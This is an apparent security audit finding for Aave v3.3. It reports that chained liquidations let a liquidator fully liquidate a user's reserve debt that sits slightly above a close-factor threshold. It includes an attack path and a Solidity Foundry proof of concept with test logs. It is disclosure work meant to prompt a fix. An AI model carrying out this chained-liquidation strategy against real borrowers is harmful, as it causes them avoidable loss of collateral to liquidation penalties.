Trendy Ceramic Worm

Medium

# Low debt reserves can be fully liquidated even with HF > 0.95

### Summary

In Aave v3.2, the optimal strategy during liquidation was to always liquidate up to the `maxLiquidatableDebt` for each reserve. In cases where HF > 0.95, this was consistently 50% of a given debt reserve, regardless of reserve debt size.

In Aave v3.3, all low (~2000$+) reserve debts can now be fully liquidated through chained liquidation. The first transaction will reduces the reserve debt below the `MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD`, and the second fully liquidates the remaining debt. This approach ensures the best ROI for liquidators.

In the Aave v3.3 users should be aware that if their reserve debt is below the `MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD`, it will be fully liquidated if the HF drops below 1. 

However, in situation where reserve debt is above the `MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD` and is fully liquidated, presenting a significant disadvantage for users.

### Root Cause

The issue originate from the fact that there is no minimum limit on the `debtToCover` amount that a liquidator must use to liquidate a position. A liquidator can use even a small amount (e.g., $5) to reduce the user reserve debt below the `MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD` and then fully liquidate the debt within chained transactions. This is possible as repaying $5â€“$50 of debt does not bring the HF back above 1 in most cases.

https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L283-L287

### Internal Pre-conditions

1. The user reserve debt is slightly above the `MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD`.
2. The current HF is below 1 but above 0.95.
3. The given debt reserve is more than half of the total debt.

### External Pre-conditions

None.

### Attack Path

1. A liquidator notices that the user HF drops below 1 and that their reserve debt is slightly above the `MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD`.
2. The liquidator calculates whether a repayment can reduce the debt below the `MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD` without bringing the HF back to 1 or higher.
3. If true, the liquidator performs a chained liquidation. The first step reduces the reserve debt below the `MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD`, and the second liquidates the remaining debt in full.

### Impact

- Direct loss of funds for the user. Under Aave v3.2, users would only be liquidated for half of their reserve debt, typically bringing the HF above 1. In Aave v3.3, users incur liquidation penalties on their entire reserve debt.

### PoC

Add the following to `Pool.Liquidations.CloseFactor.t.sol` to demonstrate the issue:

```solidity
function test_PoC_New_Best_ROI() external {
    _supplyToPool(tokenList.usdx, bob, 2300e6);
    _borrowToBeBelowHf(bob, tokenList.weth, 0.97 ether);
    console.log("User supply 2300$ worth of assets");
    console.log("User borrow ~2040$ worth of WETH");
    console.log("HF is ~0.97");

    vm.prank(liquidator);
    IERC20Detailed(tokenList.weth).approve(address(contracts.poolProxy), type(uint256).max);
    vm.startPrank(liquidator);

    // Chained liquidation - can be called in one tx from helper contract
    console.log("Repay ~50$ of debt to go below MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD");
    contracts.poolProxy.liquidationCall(
      tokenList.usdx,
      tokenList.weth,
      bob,
      3e16,
      false
    );

    console.log("Liquidate rest of debt reserve ~1990$ worth");
    contracts.poolProxy.liquidationCall(
      tokenList.usdx,
      tokenList.weth,
      bob,
      2e18,
      false
    );
}

function test_PoC_Old_Best_ROI() external {
    _supplyToPool(tokenList.usdx, bob, 2300e6);
    _borrowToBeBelowHf(bob, tokenList.weth, 0.97 ether);
    console.log("User supply 2300$ worth of assets");
    console.log("User borrow ~2040$ worth of WETH");
    console.log("HF is ~0.97");

    vm.prank(liquidator);
    IERC20Detailed(tokenList.weth).approve(address(contracts.poolProxy), type(uint256).max);
    vm.startPrank(liquidator);

    console.log("Repay max possible ~1029$");
    contracts.poolProxy.liquidationCall(
      tokenList.usdx,
      tokenList.weth,
      bob,
      2e18,
      false
    );

    console.log("Rest is non-liquidatable as HF > 1");
    vm.expectRevert(bytes(Errors.HEALTH_FACTOR_NOT_BELOW_THRESHOLD));
    contracts.poolProxy.liquidationCall(
      tokenList.usdx,
      tokenList.weth,
      bob,
      2e18,
      false
    );
}
```

Console log:

```text
[PASS] test_PoC_New_Best_ROI() (gas: 817734)
Logs:
  User supply 2300$ worth of assets
  User borrow ~2040$ worth of WETH
  HF is ~0.97
  Repay ~50$ of debt to go below MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD
  Liquidate rest of debt reserve ~1990$ worth

[PASS] test_PoC_Old_Best_ROI() (gas: 765363)
Logs:
  User supply 2300$ worth of assets
  User borrow ~2040$ worth of WETH
  HF is ~0.97
  Repay max possible ~1029$
  Rest is non-liquidatable as HF > 1
```

As can be seen in first test the whole debt can be liquidated even that it was above `MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD`, and if liquidated within `DEFAULT_LIQUIDATION_CLOSE_FACTOR` the HF will be above 1.

### Mitigation

- Consider implementing a minimum `debtToCover` requirement when the debt exceeds the `MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD`.
- Reevaluate `MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD` values across different chains.